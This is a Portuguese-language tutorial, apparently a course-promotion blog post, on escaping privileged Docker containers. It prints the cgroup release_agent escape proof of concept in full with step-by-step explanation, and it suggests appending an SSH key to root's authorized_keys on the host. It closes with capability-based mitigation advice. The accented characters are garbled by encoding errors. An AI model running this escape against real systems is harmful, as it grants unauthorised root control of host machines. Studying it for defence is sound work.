
Os contĂȘineres privilegiados do Docker sĂŁo contĂȘineres executados com um sinalizador
--privileged
. Ao contrĂĄrio dos contĂȘineres regulares, esses contĂȘineres tĂȘm acesso root Ă mĂĄquina host.
Os contĂȘineres privilegiados costumam ser usados ââquando as tarefas exigem acesso direto ao hardware para realizar as tarefas. No entanto, os contĂȘineres Docker privilegiados podem permitir que invasores assumam o sistema host. Hoje veremos como vocĂȘ pode sair de um contĂȘiner privilegiado.
Procure por contĂȘineres vulnerĂĄveis
Como podemos determinar que estamos em um contĂȘiner privilegiado?
Como vocĂȘ sabe que estĂĄ em um contĂȘiner?
Cgroups
significa grupos de controle. Esse recurso do Linux isola o uso de recursos e Ă© o que o Docker usa para isolar contĂȘineres. VocĂȘ pode dizer se estĂĄ em um container verificando o cgroup do processo init em /proc/1/cgroup
. Se vocĂȘ nĂŁo estiver dentro do contĂȘiner, o grupo de controle serĂĄ /. Novamente, se vocĂȘ estiver em um contĂȘiner, verĂĄ em seu lugar /docker/CONTAINER_ID
.
Como vocĂȘ sabe se um contĂȘiner Ă© privilegiado?
Depois de determinar que estĂĄ em um contĂȘiner, vocĂȘ precisa saber se ele Ă© privilegiado. A melhor maneira de fazer isso Ă© executar o comando que precisa do sinalizador
--privileged
e ver se funciona.
Por exemplo, vocĂȘ pode tentar adicionar uma
dummy
interface usando o comando iproute2
. Este comando requer acesso ao NET_ADMIN
qual o contĂȘiner tem, se privilegiado.
$ ip link add dummy0 type dummy
Se o comando for bem-sucedido, podemos concluir que o contĂȘiner tem funcionalidade
NET_ADMIN
. E, NET_ADMIN
por sua vez, faz parte de um conjunto privilegiado de funçÔes e os containers que nĂŁo o possuem nĂŁo sĂŁo privilegiados. VocĂȘ pode remover o link dummy0
apĂłs este teste com o comando:
ip link delete dummy0
Escape do container
EntĂŁo, como vocĂȘ sai do contĂȘiner privilegiado? O script a seguir irĂĄ ajudĂĄ-lo aqui. Este exemplo e prova de conceito foram retirados do blog Trail of Bits . Para mergulhar mais fundo no conceito, leia o artigo original:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Esta prova de conceito usa uma função
release_agent
de cgroup
.
ApĂłs o tĂ©rmino do Ășltimo processo em
cgroup
, Ă© executado um comando que remove o trabalho encerrado cgroups
. Este comando Ă© especificado no arquivo release_agent
e executado como root
no computador host. Por padrĂŁo, o recurso estĂĄ desabilitado e o caminho release_agent
estĂĄ vazio.
Este exploit executa cĂłdigo por meio de um arquivo
release_agent
. Precisamos criar cgroup
, especificar seu arquivo release_agent
e iniciar release_agent
, matando todos os processos em cgroup
. A primeira linha no teste de hipĂłtese cria um novo grupo:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
O seguinte inclui a função
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Mais adiante, nas prĂłximas linhas, o caminho para o arquivo Ă© registrado
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
EntĂŁo vocĂȘ pode começar a escrever no arquivo de comando. Este script irĂĄ executar o comando
ps aux
e salvĂĄ-lo em um arquivo /output
. VocĂȘ tambĂ©m precisa definir os bits de acesso para o script:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Finalmente, inicie o ataque gerando um processo que terminarĂĄ imediatamente no cgroup que criamos. Nosso script
release_agent
serĂĄ executado apĂłs a conclusĂŁo do processo. Agora vocĂȘ pode ler a saĂda ps aux
na mĂĄquina host em um arquivo /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
VocĂȘ pode usar esse conceito para executar quaisquer comandos que desejar no sistema host. Por exemplo, vocĂȘ pode usĂĄ-lo para gravar sua chave SSH no arquivo do
authorized_keys
usuĂĄrio raiz:
cat id_dsa.pub >> /root/.ssh/authorized_keys
Prevenir um ataque
Como esse ataque pode ser evitado? Em vez de conceder aos containers acesso total ao sistema host, vocĂȘ sĂł deve conceder as permissĂ”es de que eles precisam.
Os recursos do Docker permitem que os desenvolvedores concedam permissĂ”es seletivamente a um contĂȘiner. Torna-se possĂvel dividir as permissĂ”es, geralmente compactadas na raiz
access
, em componentes separados.
Por padrĂŁo, o Docker obtĂ©m todas as permissĂ”es do contĂȘiner e exige que sejam adicionadas. VocĂȘ pode remover ou adicionar permissĂ”es usando os sinalizadores
cap-drop
e cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Por exemplo, em vez de fornecer o contĂȘiner
root access
, vocĂȘ o deixa NET_BIND_SERVICE
se ele precisar se conectar a uma porta abaixo de 1024. Este sinalizador darĂĄ ao contĂȘiner as permissĂ”es necessĂĄrias:
--cap-add NET_BIND_SERVICE
ConclusĂŁo
Evite executar contĂȘineres Docker com um sinalizador sempre que possĂvel
--privileged
. Os contĂȘineres privilegiados podem dar aos invasores a capacidade de sair do contĂȘiner e obter acesso ao sistema host. Em vez disso, conceda aos recipientes permissĂŁo individualmente usando um sinalizador --cap-add
.
Consulte Mais informação
- Recursos do kernel do Linux
- Usando o Docker com segurança
- PrĂĄticas recomendadas de segurança para trabalhar com contĂȘineres privilegiados
- Tåticas da Equipe Vermelha: Técnicas Avançadas de Monitoramento em OperaçÔes Ofensivas
- Pentest. Pråtica de teste de penetração ou "hacking ético". Novo curso da OTUS
Saiba mais sobre o curso.